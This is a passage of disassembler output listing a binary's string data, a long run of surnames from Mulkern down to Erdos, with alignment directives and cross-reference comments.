aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1ACo
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A8o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E1A4o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1A0o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E19Co
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E198o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E194o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E190o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E18Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E188o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E184o
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E180o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E17Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E178o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E174o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E170o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E16Co
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E168o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E164o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E160o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E15Co
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E158o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E154o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E150o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E14Co
aMini db 'Mini',0 ; DATA XREF: ___:0042E148o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E144o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E140o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E13Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E138o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E134o
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E130o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E12Co
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E128o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E124o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E120o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E11Co
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E118o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E114o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E110o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E10Co
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E108o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E104o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E100o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0FCo
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F8o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0F4o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0F0o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0ECo
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E8o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0E4o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0E0o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0DCo
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D8o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0D4o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0D0o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0CCo
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0C4o
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0C0o
aMay db 'May',0 ; DATA XREF: ___:0042E0BCo
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B8o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0B4o
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0B0o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0ACo
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A8o
aMass db 'Mass',0 ; DATA XREF: ___:0042E0A4o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0A0o
align 10h
aMarton db 'Marton',0 ; DATA XREF: ___:0042E09Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E098o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E094o
align 10h
aMarques db 'Marques',0 ; DATA XREF: ___:0042E090o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E08Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E088o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E084o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E080o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E07Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E078o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E074o
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E070o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E06Co
aMalova db 'Malova',0 ; DATA XREF: ___:0042E068o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E064o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E060o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E05Co
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E058o
align 4
aMaier db 'Maier',0 ; DATA XREF: ___:0042E054o
align 10h
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E050o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E04Co
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E048o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E044o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E040o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E03Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E038o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E034o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E030o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E02Co
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E028o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E024o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E020o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E01Co
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E018o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E014o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E010o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E00Co
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E008o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E004o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E000o
align 10h
aLoza db 'Loza',0 ; DATA XREF: ___:0042DFFCo
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF8o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFF4o
aLoss db 'Loss',0 ; DATA XREF: ___:0042DFF0o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFECo
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE8o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFE4o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFE0o
aLivi db 'Livi',0 ; DATA XREF: ___:0042DFDCo
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD8o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFD4o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042DFD0o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFCCo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC8o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFC4o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFC0o
aLine db 'Line',0 ; DATA XREF: ___:0042DFBCo
align 10h
aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB8o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042DFB4o
align 10h
aLinares db 'Linares',0 ; DATA XREF: ___:0042DFB0o
aLim db 'Lim',0 ; DATA XREF: ___:0042DFACo
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA8o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042DFA4o
align 10h
aLiem db 'Liem',0 ; DATA XREF: ___:0042DFA0o
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF9Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF98o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF94o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF90o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF8Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF88o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042DF84o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF80o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF7Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF78o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF74o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF70o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF6Co
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF68o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF64o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF60o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042DF5Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF58o
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042DF54o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF50o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF4Co
aLa db 'La',0 ; DATA XREF: ___:0042DF48o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF44o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF40o
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF3Co
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF38o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF34o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF30o
aKraus db 'Kraus',0
align 10h
aKrasney db 'Krasney',0
aKrailo db 'Krailo',0
align 10h
aKraemer db 'Kraemer',0
aKovaks db 'Kovaks',0
align 10h
aKotter db 'Kotter',0
align 4
aKorzybski db 'Korzybski',0
align 4
aKool db 'Kool',0
align 4
aKonrad db 'Konrad',0
align 4
aKoniaris db 'Koniaris',0
align 10h
aKommer db 'Kommer',0
align 4
aKoivumaki db 'Koivumaki',0
align 4
aKohn db 'Kohn',0
align 4
aKoch db 'Koch',0
align 4
aKobrick db 'Kobrick',0
aKnuff db 'Knuff',0
align 4
aKlint db 'Klint',0
align 4
aKlinkenborg db 'Klinkenborg',0
aKling db 'Kling',0
align 10h
aKlemperer db 'Klemperer',0
align 4
aKleinfelder db 'Kleinfelder',0
aKleiman db 'Kleiman',0
aKleckner db 'Kleckner',0
align 4
aKittridge db 'Kittridge',0
align 4
aKirscht db 'Kirscht',0
aKippenberger db 'Kippenberger',0
align 10h
aKinsley db 'Kinsley',0
aKindall db 'Kindall',0
aKimura db 'Kimura',0
align 4
aKimmett db 'Kimmett',0
aKimmel db 'Kimmel',0
align 4
aKhong db 'Khong',0
align 10h
aKeul db 'Keul',0
align 4
aKerry db 'Kerry',0
align 10h
aKendall db 'Kendall',0
aKemsley db 'Kemsley',0
aKempton db 'Kempton',0
aKelsey db 'Kelsey',0
align 10h
aKelker db 'Kelker',0
align 4
aKeith db 'Keith',0
align 10h
aKeepper db 'Keepper',0
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE88o
align 10h
aKee db 'Kee',0 ; DATA XREF: ___:0042DE84o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE80o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE7Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE78o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE74o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE70o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE6Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE68o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE64o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE60o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE5Co
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE58o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE54o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE50o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE4Co
aJulious db 'Julious',0 ; DATA XREF: ___:0042DE48o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE44o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE40o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE3Co
align 10h
aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE38o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042DE34o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE30o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE2Co
aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE28o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE24o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE20o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE1Co
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE18o
aJay db 'Jay',0 ; DATA XREF: ___:0042DE14o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE10o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE0Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE08o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE04o
align 10h
aJain db 'Jain',0 ; DATA XREF: ___:0042DE00o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDFCo
align 10h
aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF8o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDF4o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDF0o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDECo
aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE8o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDE4o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDE0o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDDCo
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD8o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDD4o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDD0o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDCCo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC8o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDC4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDC0o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDBCo
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB8o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDB4o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDB0o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDACo
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA8o
align 10h
aHuey db 'Huey',0 ; DATA XREF: ___:0042DDA4o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDA0o
aHoward db 'Howard',0 ; DATA XREF: ___:0042DD9Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD98o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD94o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD90o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD8Co
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD88o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD84o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD80o
aHolway db 'Holway',0 ; DATA XREF: ___:0042DD7Co
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042DD78o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD74o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD70o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD6Co
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD68o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD64o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD60o
align 10h
aHock db 'Hock',0 ; DATA XREF: ___:0042DD5Co
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD58o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD54o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD50o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042DD4Co
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD48o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD44o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD40o
aHester db 'Hester',0 ; DATA XREF: ___:0042DD3Co
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD38o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD34o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD30o
align 10h
aHenery db 'Henery',0 ; DATA XREF: ___:0042DD2Co
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD28o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD24o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD20o
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD1Co
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD18o
aHeft db 'Heft',0 ; DATA XREF: ___:0042DD14o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD10o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD0Co
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD08o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD04o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD00o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCFCo
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF8o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCF4o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCF0o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCECo
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE8o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCE4o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCE0o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042DCDCo
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD8o
aHand db 'Hand',0 ; DATA XREF: ___:0042DCD4o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCD0o
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCCCo
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC8o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCC4o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCC0o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCBCo
aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB8o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCB4o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCB0o
aHaar db 'Haar',0 ; DATA XREF: ___:0042DCACo
align 10h
aHa db 'Ha',0 ; DATA XREF: ___:0042DCA8o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042DCA4o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCA0o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC9Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC98o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC94o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC90o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC8Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC88o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC84o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC80o
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC7Co
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC78o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042DC74o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC70o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042DC6Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC68o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC64o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC60o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC5Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC58o
aGist db 'Gist',0 ; DATA XREF: ___:0042DC54o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC50o
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042DC4Co
align 10h
aGili db 'Gili',0 ; DATA XREF: ___:0042DC48o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC44o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC40o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC3Co
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC38o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC34o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC30o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC2Co
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042DC28o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC24o
aGarman db 'Garman',0 ; DATA XREF: ___:0042DC20o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC1Co
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC18o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC14o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC10o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC0Co
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC08o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC04o
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042DC00o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBFCo
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF8o
align 10h
aFrye db 'Frye',0 ; DATA XREF: ___:0042DBF4o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBF0o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBECo
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE8o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBE4o
align 10h
aFried db 'Fried',0 ; DATA XREF: ___:0042DBE0o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBDCo
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD8o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBD4o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DBD0o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBCCo
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC8o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBC4o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBC0o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBBCo
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB8o
align 10h
aForester db 'Forester',0 ; DATA XREF: ___:0042DBB4o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DBB0o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042DBACo
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA8o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBA4o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBA0o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB9Co
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB98o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB94o
aFink db 'Fink',0 ; DATA XREF: ___:0042DB90o
align 10h
aField db 'Field',0 ; DATA XREF: ___:0042DB8Co
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042DB88o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB84o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB80o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB7Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB78o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB74o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB70o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB6Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB68o
align 10h
aFates db 'Fates',0 ; DATA XREF: ___:0042DB64o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB60o
align 10h
aFarren db 'Farren',0 ; DATA XREF: ___:0042DB5Co
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042DB58o
align 10h
aFaris db 'Faris',0 ; DATA XREF: ___:0042DB54o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB50o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB4Co
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB48o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB44o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB40o
aEverett db 'Everett',0 ; DATA XREF: ___:0042DB3Co
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB38o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DB34o
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042DB30o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB2Co
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042DB28o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB24o
align 4
